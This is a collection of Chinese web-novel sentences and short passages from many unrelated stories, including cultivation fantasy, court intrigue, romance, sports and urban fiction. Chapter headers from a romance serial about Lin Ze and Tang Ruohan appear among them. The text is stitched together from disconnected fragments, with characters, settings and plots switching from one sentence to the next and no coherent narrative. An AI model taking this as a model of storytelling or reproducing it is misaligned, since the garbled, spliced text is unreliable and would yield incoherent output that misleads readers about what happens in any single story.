“妈咪,你手上拿着什么?”嫣然眨巴着眼睛,忽而奶声奶气的开口。 而随着他的手指的点动,高处不胜寒,一点寒梅凌寒独自开,在山巅绽放出绝妙的风采,凌风傲然而立。 甚至连曼联的传奇名宿查尔顿爵士亲自找到宿茂臻对他说,”孩子,你成功了,由于你的出色表现,俱乐部准备与你签约“。但是就在签约前两天的比赛中,宿茂臻右脚脚踝粉碎性骨折。 双方队员都在球员通道里准备出场,做过功课的李良认出了大部分那不勒斯的球星。 秦天帮柳玉芬推着车,两人穿过了几条巷子,走了二十分钟的路程,这才来到一处九十年代建造的房子,这里的房子与周围的房子一比,明显格格不入,显得有些老旧。 两条短信,简简单单的一句话,却如同睛天霹雳一般,在蓝翊泽的眼前爆炸。 此时此刻,蓝翊泽的心太过敏感,只是任何一点的刺激,都足以让他痛苦不堪。 同一时间,天下人得知大汉军队居然身陷囹圄,有侠义者与人约定,共同前往北方进击棒子国。 刘荣跟陈刚几人一脸看好戏的样子,心想秦天这厮待会儿肯定会被刚哥给撕碎了。 她们在客栈里待了一天的时间,将所有的消息都打探的差不多了之后,便开始动手。 也不知道是出自什么原因,天翔在亲眼看到晓凌对佳瑜做的那一幕之后,并没有感到意外,扑面而来的是说不尽的厌烦。 两个酒杯在空中不停的旋转,刚开始慕容婵还没怎么注意,可当她发现酒杯在向自己这边移动时,心下大骇,连忙提起十层功力抗。 这少年生就悲悯心肠, 不论见过多少次, 不论心里有多清醒,依旧会因众生悲苦, 唯我幸免和旁观,而感到自我厌恶——不知这算不算是他的“我执”。云秀就没这种烦恼。 沙之漩涡之中是无法辨别方向的。紧接着,沙暴之力的波动骤然变强,几乎只是一瞬间,沙之漩涡暴涨几十米,带着张三风和妍妍的身体迅速的下降起来,不过妍妍在张三风的灵力护罩的保护之下却是没有受到丝毫的伤害。 “好,仙姥请放心,那二人必定带到你的面前。”铁如汉说完,调转金钩朝着醉尘道人的方向追去。 我在想,如果某一天,世界变了,我们颠扑不破的信仰倒塌了,我们矢志不移的追求破碎了,人人都成了现如今的模样,世界会是什么样子呢?一定不忍卒睹吧,物竞天择,适者生存,要真正到了那一天。 但谢必安呢,用自己的灵力,将这里变得一片花红绿柳的模样,我一脚落在了院子中,好像来到了另外一个别有洞天的世界。 “你们说的是不是,天上的海市蜃楼,仙鹤飞舞,还有很多的宫殿的那种?”吴欣欣赶忙问道。 竹兰山脉虽然混乱,竹兰山脉的数十万修真者,虽然不堪教谕,也正因为这样,竹兰山脉,也才很难打下来。 那人撞到了佩月月的身上,把她撞得踉跄一下差点摔倒,但还好,佩月月稳住了。 “万一又发烧了,那时你还有力气自己到医院来吗?”顾恋指出一个很现实的问题。 那时候,贤王正和邪王水火不容,她以为有了孩子,他就会到侯府提亲,可没想到最终她还是被贤王诱哄的喝下了那碗藏红花。可她不后悔,只要是他的想法和心愿,她就算穷极一生也一定会执念追随。 侯爵赶紧躲开了,但是从侯爵身边飞过的那道法力,侯爵可以看出,此时灵心的法力绝对不在他之下。 单哲彦赶紧点了点头,对着权子墨说道:“权子墨,对不起,以前是我太自大了,我以后一定会改的,我会好好的伺候你和黄大仙,只要你们不杀我就行。”权子墨听到这里得意的笑了起来。 此时,与冷月和端凌云相隔两桌之外的几个百姓,边吃边朗声说着。 云雾渐渐散开,颜嚟轩的身影再次浮现,他用玉箫拦开竹子,从竹林中,慢慢走出。 “你很熟悉寒夜皇室的人?”璃雾昕不禁有些疑惑,只听脚步就知道? 说着吴天拔出了刀,身后少说有四十几人都亮出了寒光闪闪的兵器。这吴天没有回答洪烈的问题就是要挫洪烈的面子,让他知道我吴天根本没把你放在眼里。 鳌拜听代善说雪堆下埋有死人,立即叫人清理雪堆,果然在雪堆里发现大量尸体,从眼前的地方到南关怕不有十几里,这十几里地的路面上都被厚厚的雪堆掩盖住了,如果这些雪堆下面都埋有尸体那就会是一个很大的数字。 不停的杀让安迪不知道杀了多少只了,根本来不及数,或没心思数。 “我不要上楼,碗还没洗呢。”欧阳樱绮觉得莫名其妙,南宫霖毅怎么变得怪怪的。 几分钟后,众人來到了他们的目的地,发现了马车还发现了很多护卫,用上魔眼将他们的属性全部看出來了。 第一卷 第99章 林泽……晕倒了? “表姐,你可来了!” 听到唐若涵的声音,苏晴仿佛看到救命稻草,猛地扑向她这边。 “你没事吧?” 唐若涵喘着粗气,慌张询问。 苏晴急忙摇头,“表姐我没事,姐夫他……” 不等苏晴把话说完,唐若涵一把将苏晴推开,迅速冲向林泽。 “林泽,你放手,这样会出人命——” 第三天,王予以踏上了返校的路程,等待他的,是一个惊天动地的大事了。 “对了,赶紧恢复一下真气,不然等会我们连还手之力也没有。”说着,秦斌像变戏法一样,一翻手,掌心多了两枚流光溢彩的灵石。 沐清雅身边的影卫经历过一番厮杀,已经到了极限,再者,秦月还在莫流宸手中,抵抗根本起不了多大的作用。 听见这样的谈论,王峰也是摇了摇头,这两人的事情就让两人自己处理就好。 这种,在温泉中揉胸的情况,王峰也还是第一次,感觉非同凡响。 “呜呜……,王峰,我好怕 ,”慕容雪还没有等到王峰把话说完,直接呜咽的抱着王峰开始哭泣。 “怎么,不装的恭顺有礼了?”端木擎眼神微亮,看着沐清雅笑说道。 沐清雅感觉到莫君卿凝结在她身上的视线,微微抬眸看了一眼,心中的不安越发的明显。这些日子,君卿明显的不同了,希望是自己多想了吧。 风杨转身,一道神精力,向刚刚破界而出的咝丽纱扫去,咝丽纱的身子一定,出现在一片血粉色的世界中。 以他的身份,当然不需要纳税,他也不是行商,但在江南也好,河南和兖州一带也罢,到处都是随意设立的关卡,主要都是地方武将和有势力的大宗族,行商路过时,一定会被勒索。 眼神之中,有时也有一些冰冷的色彩,行事也有点无所顾忌和不讲手段,只讲结果了。 若是被丁何氏看到她这般用糖,定然要指天骂地,连带着梅家祖宗十八代都被她给揪出来痛骂。 彼时二房与三房已在外面置好宅子,并打扫休憩齐整,只等到了吉日搬出去了。 虽然以赫连夜的名声,出现之后,他哪怕什么都不做,也会吓得那个徐大人冷汗涔涔,可是以赫连夜的脾气,他好像也不愿意做这种“浪费时间”的事。 这粮食,在任何时期都是根本,哪怕是数百年后,国家也是无比重视粮食生产的事,任何时候,钱再多也是一定要把农业给保证了。 “怎么样?那些人还在吗?”顾涵浩一边问一边起身穿外套,准备马上往现场赶。 再多等了半个时辰,朱母就感觉到不对劲儿,连忙带人,亲自去朱婷丝埋伏吴庸的地方看一看。 合着,刚才那个贼婆和麝香还只是障眼法,真正的动作,人家早就开始了。 “您好呢,莫云大人,我们又见面了,几千年不见,您可安好?”九尾笑着冲莫云行了一礼。 再留下来,他只能去赌,赌上官雯菲会信守诚诺,可是这种拿命做为赌注的事情,汤浩磊是不会去做的。至少他不会用闻珍珍的命去赌。 听了几个嬷嬷们的详尽描述,康熙大体了解了雍亲王夫妻的伤心情况,遂下旨让雍亲王休整数日,在此期间无需上朝。原本想说服老四纳个外蒙格格做妾的康熙也不得不打消了这个念头。 第一卷 第100章 你们是夫妻,你不清楚吗! 安然的目光在唐若涵身上停留了几秒,收回。 “另外一个,外伤已经处理好了,情绪也稳定一些了。” 另外一个。 指的自然是周平方。 张军听完,当场翻了个白眼,张张嘴,好不容易才忍住骂人的话。 几乎一夜未眠,不过秦扬的精神状态却极为的好,看着这厚厚的一叠纸张,秦扬欣慰的点了点头这是他一夜所创造出来的成果。 白水痕一惊,本能的感觉有一丝危险,连忙召回飞远的长剑和剩下的一点腐尸神水。 两道黑色精光已经窜进那骑士的额头,之后,红衣大主教便看到一道非常模糊的影子,蓬地一声,那骑士就被轰到一边,就连他身上那套初级防御圣器也被轰碎!!无力地瘫软在地上,眼眸迅黯淡起来。 没办法,田亮在家的官威还是很足,就算田晓是他的心肝宝贝心头爱,他的官威也不会轻易卸掉,导致田晓面对田亮时心理有点影响。 已经过了这么多天,伤口竟没有感染,这点让乔寒烟松了一口气,倘若真的有什么,想必足以在今后的日子里慢慢的要了傅砚今的命。 “看来要想办法把这些人干掉了,以绝后患,正好这个迷阵是个好地方,可惜我现在实力还不够,假如我达到结丹期估计就能把这些人全灭,恩还是先找到金坚勇他们再说。”周道心中打定了主意。 靠,果然我那30点的幸运值不是假的,雪儿杀一个b能爆出两份卷轴來,我自然也可以。 “嫣然,你就忘记阿宇哥吧。是阿宇哥对不起你。”想来想起,陈宇觉得唯一的办法就是唐嫣然能够忘记自己,这是两全其美的办法,可唐嫣然会吗?一想到将要失去唐嫣然,眼角的泪水最后还是流了出来。 已经七点多了,陈耀计算了一下时间,从这里跑到大富豪娱乐城,应该还来得及,自己身上的钱就只有几十块了,得省着点花了。 一阵莫名的哈气声传了出来,随后,我的瞳孔微微一缩,因为我看到了,那棺材之,一道身影换换坐了起来。 我深以为然的点头,不想不知道,一想烧饼脸身上竟然有那么多不合情理的地方,疑点重重。 剑痴周身的杀伐剑气被那罡风冲击的粉碎,而我的拳罡也是直接碎裂而开,我们二人的身形不断的朝着后面倒飞了出去。 “以前也有,但全部以惨败收场,天神手段,岂是凡俗。”巨兽道,半睁半闭的眼瞳中,皆是萎靡。 “行吧,那些人毕竟曾经和我也是哥们儿,哪能有什么事儿,你跟着去也没事儿。”吴军点头说道。 到了桃树林,烧饼脸正围着我爷爷坟头布置什么东西,脚上一双鞋,细细一看是阿迪王,底子至少增高三公分。 “有动静,情况不对。”林海然帮忙照看完巡逻队,又切换着镜头寻找指挥部,突然发现营区内的武警哥们都出来了。 刘毅和梁光两人交替掩护前进着,前几个房间的敌人都被消灭了个干净,爆炸到底是怎么回事? “你们……你们去万华大食府?在那儿吃饭,一顿下来至少也得上万,你们确定?”出租车司机问道。 那睥睨天下的虫之皇帝一声霸气十足的蛊鸣,轮天下蛊虫,谁与争锋? 第一卷 第101章 计划……泡汤了! 唐甜甜的身体因为这些年养得好,除了心脏不行,其他都非常健康。 一位神工匠的授课,对于他们的吸引力是难以相信的,就像准备生育的蚊子见到了鲜血一样。 我还始终认为在他人看来我是悲哀,我却觉得对于我自身的追求是无上的幸福。 她决定了,路上扮男装。男人的头,那两婆子总应该会梳。等上了路,她发现那两个婆子能干得很。简直啥都会。 但是此时此刻的董叶,却是目光呆滞,一言不发,就在原地坐着,大猫的父亲连续说了好几句话,董叶都没有吭声,大猫从边上也碰了董叶好几下,董叶都没有理会大猫,大猫的母亲明显的有些生气了。 到达a点后,洛羽操控自己人物蹲在了a点在箱子后面,从不知名的地方掏出来那把墨绿色的大狙!开镜瞄准着自己正对面的凉亭和冲a的那条道路的拐角。 姬从良也是露出了第一次进入社会一年后才修炼出的老司机的微笑。 张家老二嘴角微微上扬,脸上挂着一脸的自信,从边上顺势就把衣服都穿好了,他的两个下属这个时候也进来了,他们走到了张家老二的身边,扶着张家老二下了床,张家老二整理了整理自己的脖颈。 “不错,很合适我的身份,这条黄金蟒我要了,多少积分?”苏宇一副财大气粗的模样。 只不过,当洛羽拿出宅男套餐后,直播间观众们才明白原来平平淡淡才是真。 杨戬想了下:“木公经常这样和我舅舅说,什么天帝英明神武,什么德配天地,舅舅听了都很高兴。”玉鼎面皮一抽。 显然,这里的一切不可以以外界的事物来衡量,那野兽,也要比外界的野兽强大许多。 不过东西虽说是空间里有的是,但刘晓宇可没想这么轻易的就给了对方,再说了,现在他所喝茶叶的功效可要比从前好的不是个事了。用到孙家身上,实在是太过暴殄天物了。而且谁知道这事后孙家会不会再动什么歪心思。 李木兰似乎对刘霸道总想着逃有点意见,所以回答的时候,很是没好气的说着;“沙龙是有智慧地生物,并且有翅膀,它要是想抓你,你就永远也跑不了。”说着还恨恨的瞪了一眼刘霸道。 “我怕她知道了真相,或许就更加想不开了。”宋玉致还是摇头。 捡半塑料袋板栗后,杜bo坐在石头上开始边砸边吃,吃的正美,突然尖叫起来。 并不奇怪李睿祥会询问苟三剑的事。因为杀蔡谭的江湖人虽然没留下名号,可找到苟三剑就能找到杀人凶手,这种事换成卮杰也不会轻易放弃。 “就是,广喜,你要是做手工豆腐,我绝对第一个支持。现在街上做的豆腐太假,吃起来味道都不对。”刘广聚也插嘴道。 要不说,一心不能二用,神情有些恍惚的青山网昌,正准备下楼的耸口,在电梯间之前的一处拐角处。与一名抱着一堆信件的工作人员装了个满怀。 “你只不过是因为嫉妒,想抢秀询的夫婿,而不是喜欢我!”徐子陵一听,更是暴怒。 永远?有多远?紫烟不知道,自己的寿命是长久不衰的,活个几千几万年都是有可能的,在这长久的岁月,我愿陪你到死,可是,谁能陪我到天荒地老? 张晓华和刘长华看着荧屏上两人的身影,不禁震撼,这哪里还是人类的表现? “这便是杨家的议事大厅了!”自天空上徐徐落下中央广场,杨寒玄笑呵呵的向龙天介绍眼前的人类建筑。 穿好衣服的钟山看了一下时间,已经下午两点的样子了,一时间也不知道该干什么的钟山准备去五老头家蹭顿晚饭,顺便自己的身体也恢复得差不多了,正好也接着学点东西,想到这里钟山的心里又不由自主闪过一道倩影。 在宛凝竹的印象里,东月国的皇帝应该比较无能的,那么听老宰相的话,才让这个国家走到了现在的这个地步。可是真正见到了本人之后,却发现这个皇帝其实也算是个聪明的男人,不是那么的草包。 这招果然管用,一听钟山拿那千年的山货威胁自己,立刻没了声音,直接在那闭目养神开了,就好像刚才说话的不是他一般。 “咱们赶紧回去。然后拿温水洗洗脸,别冻感冒了!”紫烟拉住上官冷逸的手,上官冷逸反手握住了紫烟的手。拉着她回到了屋里。 换句话说吧,别的国家都是完成了封建社会的制度巩固,而北雪国仍旧沿袭着大贵族轮流坐庄统治以及贵族世袭制。 刘端荣还要留下钟山两人吃饭,陈福满当然不同意,这都要出去玩了,谁还吃你的大鱼大‘肉’,没得拉低了品味,用钟老板的话那就是,我们要去野炊的。 “我不行了,我要休息一下。”季思怡放弃继续爬了,坐着原地不动。 正当他还想嘲讽一二,突然他的脑海里仿佛被一把匕首贯穿,剧烈的疼痛瞬间让他跪倒在地。 身边,慧慧也忍不住从佐藤和真身边探头。看着面前这幕,凝光心中忍不住的松了一口气,脸上浮现一丝笑容。 归顺可不代表这片地盘就是属于自己的了,这一点,哪一个手握重兵的将军都明白这个道理。 不过实际上他很清楚,就算系统回答当天有效,他也会买这唯一一件商品,毕竟这“商品”的功能,正对苏子清的喜好。 周老板以为这幅无语的表情是针对他的,桌下本气得已经攥紧的拳头,更攥得愈发的紧。 第一卷 第102章 一旦妥协,就是一辈子。 赛伯歪着脑袋,打量着至尊法师,他对于这位至尊者的力量尊崇,但对于至尊法师本人却缺少一种尊重。 他终究是个聪明人,那怕再气愤,也知道自己抗不过吴超。去找吴辉腾讨要什么说法?肯定是去找赔偿的。 赛伯没有再以红色魔鬼的身份出现,但戈登发现,当他成为一个普通人的时候,他的杀伤力和威慑力,几乎被放大了10倍不止,就像是一滴毒液,融入湖中,谁也别想抓了。 “公子好定力,居然连奴家的魅力都无法吸引到公子。“黑暗花妖的手指稍稍动了动,柔柔的摸向了张硕抓住她的手腕。 虽然经理对这招儿还是会在暗地里褒奖,但熱笆却不想这么低三下四的做事情。 起初,事情的发展如同但丁所规划的那样,柯多密无法容忍一个与自己势如水火的将领继续在前线掌握兵权,于是下令将柯昂施恩荣升入京,并将其部队拆分,以此来达成剥夺兵权的目的。 沈秋山和吴钢配合的相当默契,包袱一个接着一个,现场的观众们也笑的前仰后合。 “李先生,好久不见了!”靠近后,瞅紧一个空子,王子涛脸上露出微笑,举起酒杯,插了进去。 “那就好,那就好!!”大山婶终于松了口气,脸上严肃的表情终于消散了许多。 “沈导,恭喜,恭喜,开机大吉~!”就在黎庆与史明伟两人较劲儿的功夫,又一名中年男人满面笑容的走了过来。 “去你玛的!”陈半山却是没有说话,回应的只是一拳,一拳便把星洛国府主轰飞。 四大王者都变色,他们根本不可能是叶晨的对手,除非是突破成为圣藏境才有可能,但圣藏境岂是那般容易就能够突破呢。 听到我的话之后,神裂也是一脸淡定的收回了刚刚摆好的架势,手轻轻一挥,随后,她手中比人还要长上几分的长刀,直接化作一道道泛着白光的碎片,消失不见。 如果前世有人像二舅母这般指点她一番,也许她前世的日子能好过几分。 因为,龙飞自己也可以利用这段时间,来消化体内的能量,他不是还有金色触手的能量没有完全吸收么。 叶风恩了声,跟上素芹,赶往九天星域,这星域在天界的一个角落里,不过这里的天界辽阔得很。 王晓天自知重伤之下,度不如龙天,一咬牙,将手的法器朝着龙天胸口击去。 达克多下令道:“达克莱伊,黑洞!”达克莱伊扔出一颗闪烁着紫光的幽深黑暗的能量球,命中赫拉克罗斯身上后变大将赫拉克罗斯包裹,然后消散,赫拉克罗斯便立刻沉睡过去,睡在了草地上。 刘协坐在马车之内,心中却是有些发苦,本来他还想趁着这次东巡,能够挣脱陈旭魔爪。 庞会怒吼一声,那些操盘手们全部打起精神,开始做着战前准备。 他们已经想好了,先让舆论继续发酵,必要的时候还可以添把火,等火燃烧到最高点的时候,他们再出来为沈苗苗澄清。 重八是朱元璋以前的名字,直接叫朱元璋,秦遥也觉得缺乏了一点尊重。 他透过窗帘缝朝楼下看去,下面是黑漆漆的花坛,看起来空无一人,然而第六感却告诉他,自己已经被盯上了。 许悠然疑惑,走进大堂便看到了与其父亲许正言平起平坐的一位华服公子。 听到老板要和人谈生意,还是上次来闹事的那些人,赵怡急忙泡了一壶茶,走入会议室,给几人每人倒上一杯。 所有人因着她这句话齐齐看过来,正在观看直播的网友也跟着好奇起来。 他肯定不能说自己是重生回来的,要不然爸妈一定以为他疯了,弄不好还会被送到精神病院。 并且,伴随着最后一丝草木之精发力,她精进到了练气五层圆满。 一直到走出警局大门,沈夫人停下脚步,回头看向跟着自己的老馆主。 但是现在,没有异族看到,也没有异族想到。当真正的危机降临的时候,等他们反应过来的时候,就已经来不及了。 皇后设宴,不单单请了燕帝和顾楚寒,还有万贵妃,燕飞樱,和梁王燕渭。 教育界,以柳校长为首的,周易的同事,也纷纷发帖,表示自己的震惊与佩服。 此时此刻,在猎妖城城主府深处某个洞府里,盘坐着十多万周身灵气翻滚的金丹真人,任天牧赫然也在其中。 宁如杉还没反应过来,他就像是一位视死如归的壮士,慷慨起身,向沈信走去。 剑气海啸疯狂席卷着真元长剑,直到楚枫真元耗尽,无法再凝聚,这才终于停了下来,而这一场大战自然是秦牧赢了。 “是腾蛟国的龙飞,他让我来监视大荒城的情况,他说这里已经没有元婴老祖坐镇。”锦衣男子惶恐地说道。 每喝一口水,老牛都要抬起头来,左右转着头颅,观察着周围的环境,长长的牛角在阳光下熠熠生辉,就像是两把弯刀一样彰显着它的力量。面对这样带着牛犊的母牛,就算是虎豹都要掂量掂量自己的力量。 然而汪副总会长她们,不但没有过激反应,而且反倒是都陷入了思考,似乎不像开始那般咄咄逼人,这是退缩了? 在结实的黑藤绳的束缚下,蚝的力气就算再大都没办法挣脱,只能躺在地上不断的做着挣扎,但是却毫无效果。 看着鹊南宫血流全身,却悍然死撑的景象,叶枫心中微微动容,脸上却毫无解冻的表情。 他看着人头攒动的广场上,摆着两个巨大的灵位,上面写着吾弟狼环之灵位,另外一个则写的是吾弟熊疤之灵位,正对着灵位的三位中年人正在掩面而泣。 人类讲到底就是生物,生物的第一要义是生存,在生存前面,绅士风度什么的都是扯淡。 第一卷 第103章 哥们被人举报,停职了! 气氛尴尬至极。 林泽抬眸,朝着唐若涵这边走了两步。 “唐总,今天是周末,去民政局是周一。” 唐若涵眼眸一颤。 再次看向林泽,心中五味杂陈。 没想到。 而焱寂城也听出了一些端倪,这赤练妖血想必能够提升妖灵的境界,怪不得,从一入北如府就感觉到那些妖灵有些兴奋过度,甚至不怕死也要挑战一下。 “你脑子没问题吧?你的人动手在先,还不允许我下重手?”陈青阳嗤笑一声道。 “听剑大会。”李巧不解,他原本是打算好好闭关,稳定修为,适应进入先天的状态。 少年得理不饶人,愈战愈勇,虽说造化境之间的交手无比惊险,动辄有性命之危,但人世之大,如何去找两尊造化境高手来练手,所以少年如何肯错过这样的机会? 远方的一座山头上,几道若隐若现的人影注视着城中发生的这一幕幕。 焱寂城眉头再次皱起,看来,想要教断殇刀以人的形态做些什么还有些麻烦。 远处天空骤然飞射过一道黄色灵光,声音极其细微,少年迷迷糊糊睡过去,也是没注意。 这高级区的西方霸主西山夔牛也被华穹子所释放的通天佛像吸引,看到了这一幕,与此同时它也感受到了药炼的气息,一株新高级药草的力量也足以吸引到它了。 这件事事关薛家未来,只不过让薛怡嫁给孔旗,便是能够得到孔旗的相助,使得薛家再度有一线生机,这等事情,就算薛定山不同意,他们也得强制同意。 “交给我照顾吧,用不了多长时间的。”白断流道,修炼了四象奥决后的陈新谁也不知道他的战力能达到什么水准,如果太低的话,就算他去十八层地狱也是永远被恶鬼纠缠受困于那里。 谁都没有想到,那一件在华夏曾经以二点三个亿拍卖出去的青花瓷瓶,在这里竟然还有一个,早就听说这实际上是一对瓷瓶,今天才知道,原来那始终都没有露过面的另一个瓷瓶,是在岸本家之中收藏着! 车内的赵存宗象是感觉到有人在说自己,揭起车帘迅速对着两边楼上扫视过,犀利眼神吓得汤和头也一缩,其实包间凭栏处有布幔,全然看不到自己。 “嘻嘻嘻,这方圆百里,只有你这么一个娇滴滴的美人和我们兄弟二人,我不轻薄你,岂不是枉费了这么一个天赐良机?”,石炎唾沫乱飞地说道,双手再次扯向石芩的衣衫。 “恩,上面好像有字?”沈浩轩突然间发现,那青色石塔之上流转的青色光芒开始向一起汇聚起来,不一会,两个古朴的大字出现在了众人的视线之中。 叶朔和温成的呼吸都漏跳了一拍。那个“东西”,终究是要进来了吗……? “高都督纳妾之喜,区区薄礼,不成敬意!”祁门陈氏代表将礼单递给了陆永华。 看着郗超肯定的目光,高敬宗顿时陷入了迷惑之中。难道是西府军还有更加隐秘的消息渠道?可是历史上慕容隽就是在两个月后升平四年元月二十四日病逝。 楚少夫人瞪眼睛,象郑谊说的,生气时先圆了眼睛。楚怀贤漫不经心,极其随意,慢慢也瞪圆了眼睛。 第一卷 第104章 吴庸的电话没人接。 “几个意思?举报?什么理由?” 林泽话语当中充满不可置信。 就在刚才,张军还在电话里说案情,怎么眨眼的功夫就被举报了? 而且还……停职了? 这也太快了吧! 张军苦笑一声。 “知法犯法,涉嫌收受贿赂,还有……”话说到一半,张军话锋一转,“行了,见面聊吧,一两句话也说不清楚。” “到地方你给我打电话,哥们火速飞奔!” 接到江刺史和工部屯田刘郎中要来视察的消息,整个屯田衙门变得紧张起来,林清派人通知了几个屯田所,让他们做好迎检“准备”。 但是等他们完全反应过来的时候,一股寒意忽然是从他们的脚底直窜他们的脑海。 独远,于是,道“旭心,你工作勤恳,秉承公义,我册封你为魔王!”对于已经逐步完善的镇妖塔制度,一切妖魔的入住,都是有记载的。独远,神念一掠,所有人都是知道的。 陈达平常的表现也算是非常优秀,今年年初时随着队伍开始一起做任务,跟刘鼎天一起押过四次车,也算是有经验了。 “你是说和云天那混蛋齐名的那个伊人就是农一?”巫格云星问道。 但是云尘却是没有注意沈思雨的眼神,他在听完沈思雨的话后便是沉吟了起来。 程刚听见了手机里突然响起来的提示音:“您好,您所拨打的电话暂时无法接通,请您稍后再拨……”程刚不死心的又拨了过去。 正月二十九日,天子的病情总算有所好转,石重伟接到王皇后派人送来的信息,连忙动身赶往雁山别苑。石方真颧骨突出,瘦得厉害,两只眼睛恢复了神采,拥坐在软榻之上。 “免礼。”浑厚的声音传入耳朵中,这应该是天子的御音了。江安义不敢抬头,伏地静听。 想要打开这个盒子,必须利用九宫的口诀,找到它的开启纹路,而九宫格的三阶幻方,则是开启这个盒子的关键。 拿徐橙的毛巾,浸泡着水,象征性的擦了擦自己锁骨上他留下来的口水。 把这些连起来一看,越欣欣感到胆战心惊,大舅背后的组织,拥有一定数量的修魂者,还豢养鬼修,不仅实力强大,而且插手世俗界极深。 “就是如果我想吃人了你要给我找来,如果你被人打了,我会帮你出手那种?对不对?”黑麒麟问道。 原本是焦点人物的藤斋,被晾在一旁,即使有人看他,目光里也带着浓浓的鄙夷。 “三枚丹药而已,比起你们帮的忙,不算什么。”白羽摇摇头,并不在乎那三枚化脉丹。 可三焰皇者,却愣是在那一条条海龙王的攻击下,每一次都捕捉到那根本无法容纳正常人通过的缝隙,像是一条滑溜的泥鳅一般,压缩了自己的身体,给钻了过去,逃过了攻击。 年关将至,全国各地都是返乡潮,沪海这样的打工人集结地更是如此。 宋征不屑的一笑,虽然他至今还没有试过朽干剑的威力,但曾经能引起无数玩家疯狂争夺的宝物,定有它的独到之处,其威力肯定不是外表样貌所衡量的。 更何况现在警察局也知道他们的动作,也只能对他们进行秘密行动,杨帆只能先想办法找到他们的把柄,这样通泰才有可能有转机的机会。 在计划安排的时候就考虑到了这些前十二的武者中可能有些比较强的武者,所以特地安排了数百百个白袍的武者,就是为了不出意外,以十敌一,以三十敌一,这样对抗必能将其尽数消灭。 第一卷 第105章 你这样,我心疼。 许富贵微微点头之后,便不在说些什么,毕竟两人可以说是没什么交情,若非因为任务缘故。见面也不过点点头罢了。 而没有人去认领尸体,桑拉卡『政府』否认屠杀,只是一面之词,没有强有力的证据,看起来令人难以信服。 “抱歉,给你们添麻烦了。但是,我有无论如何都要和朱雀说的话。”身穿着平民服饰,带着一副大框墨镜和帽子的尤菲米娅对着身边的保镖开口道。 叶泽明刚准备回答,突然觉得手上握住自己手的李彦青的手猛地握紧了,似乎想要和他较较劲似的,这行为可是愚蠢无比。 他们脸上没有丝毫的惧意,而是一片决然与视死如归的豪壮气势,赵辰把他们当成良师益友,而他们,又何尝不是把赵辰当做最值得尊敬的朋友? 想要想起来是非常困难的,更何况卡米尤绝对不会想到,被自己秒杀掉的人重新站在自己面前。 只是这样的后果,或许便会是厚土宗开山祖师,厚土真人那样的下场,最终落个道基崩溃,甚至会连轮回投胎的资格都将失去。 脚下踏出一种玄妙的步法,在间不容发之间,如同一尾滑溜的泥鳅,轻易地穿梭在火力网中,连衣角都未曾被子弹碰到。 这平地果然够平,就像是一把巨刀从地面上一刀切了过去,所形成的平整光滑的切面,想必这都是程咬金的杰作,对他来说,或许这并不算什么。 慕容潇身后突然化作整个宇宙星空,一个蔚蓝色的美丽星球,光明与黑暗泾渭分明。 亚当解释这一切时,半点磕巴都没打,像是这些东西完全储存在记忆里,好似自己的名字一样这辈子都不会忘记。 寻易到了绍陵身边心里就踏实了一半,他当然也是希望能一举收下这件灵宝永绝后患的,所以一落下来就请御婵守护住假作未醒的绍陵,自己则静下心来继续与剑灵套近乎。 有条不絮的做完这一切,面色不改,一如既往镇定自若的天葬师就从容不迫的去山下去洗手和刀具,刚才的整个天葬过程便宣告结束,天人合一的过程终算是完成了。 沙河,这是一条船只无法横渡的大河,不仅水流汹涌浊浪滔天,而且宽得望不到对岸。 寻易点头应诺,恰在此时,前方灵气出现了波动,一个身穿正紫道袍的人随之现出了身形,此人方面阔口,五十上下容貌,神态颇有威仪。 “天澜,你别胡思乱想,我觉得完全没可能的。”紫云烨哭笑不得,这猜想也实在是太遥远了。 而且爱斯基摩狗和普通狗一般也是看家的好卫士,它向主人报告敌人或危险动物的来临。 这一切,伍德在二楼一直看到最后,其他人都被他以出勤为由轰了出去。 “我借给了她一件在药仙宫使用过的宝物。”寻易紧抿着嘴唇盯着那片泛绿的河水,十分担心沈清会被自己害死。 一掌狠狠击在柳生七海心口之上,只见柳生七海身体上显现出十数道状如闪电的亮纹。 今天的这一场比赛,让卓航真正意识到自己的进步有多大,奇怪的是,明明进步了这么多,他却没有一点骄傲的心情,因为他知道,这才是开始,他的路还有很长。 虽然白炎刚才说了黄家人,但是苏乐还真是没当回事,可是现在就不一样了,没想到这黄冬良要进入的黄家,就是黄昊权的那个黄家。 心中对于,刘烨的畏畏缩缩,瞻前顾后,感到气愤的徐庶,他并不是,不赞同刘烨,选择隐忍的做法。 我们找到了瞎子,问他到底让我们来干什么,他招呼我们做下,拿出了两个麻袋,说是给我们的,我俩都很奇怪,麻袋里会是什么? 大屏幕上弹出的消息让现场的观众席掌声雷动,坐在台下的李沧雨也露出了一丝笑容。 白轩忍不住笑了笑——这男人的心理素质无比强大,当年ftd战队在神迹时期经历过十连败的时候他都能淡定地鼓励队友,何况如今只是输了三场? 额头上轻如羽毛的吻,一触即分,白轩想生气都生不起来,反而有些哭笑不得——因为他感觉到了谢树荣在玩笑之余的诚意。 士兵在维护着现场秩序,不让人拥挤,以免搅的祭祖不能正常举行。 “你费尽心机装可怜让我们同情你,为的就是今天?”高逸鹏微皱眉。 整个孕期他都在照顾她的口味,认真给她做饭,怕她吃外面的东西不够有营养,午饭也亲自送过来。 年年要的就是这个结果,现在心满意足了,「外婆拜拜。」啪的挂了电话。 天没亮,衡巧和刘玉梅便起床了。她随意洗漱一番,把头发扎起来,吃了一个昨晚留下的饭团,在肩上搭一块毛巾,推出装满辣椒、冬瓜、南瓜等蔬菜和莲子的板车,劺足劲出了院子。 他原本以为一道口谕之类的安抚一下就可以了,没想到,武帝竟然亲自登门。 “我猜第一批是弱兵,骄兵之计。”这个三臂怪婴简直惨无人道,竟然用老弱兵打头阵。 这部手机虽然也有安装支付宝和微信,但自己根本不知道支付密码呀。 袁令超爱穿淡月白长裙,高贵大方,袁令谊袁令言两姐妹则是爱一身青衣,一个浅绿,一个碧绿,走出去了恍若如梨花香飘入红尘。 其实他根本没啥大毛病,来明德堂找王森完全是为了放松放松全身肌肉的。 刘天玄的神色不由的一变,神色变得铁青,双目之中似要喷火一般,注视着忽然插手的青衣道士。 “我们倒也不是为了让赵家感激我们,我们只是不想让赵海的善举,让你们误认为是我们的下作手段,就行了。”梦瑶平静的说道。 灵念一闪,删去了神海虚空里那段关于鬼道修士遗蜕的视频后,陈志凡又对着第二段视频细细观看了起来。 第一卷 第106章 老林的清白,得讨回来! “当时,已经无路可走。” 短短几个字,带着前所未有的沉重。 南希的心又一痛。 其中一为老者,一为青年,老者头发花白,脸上更是充满了皱纹,正是姜家的大长老,修为达到了御空后期境。 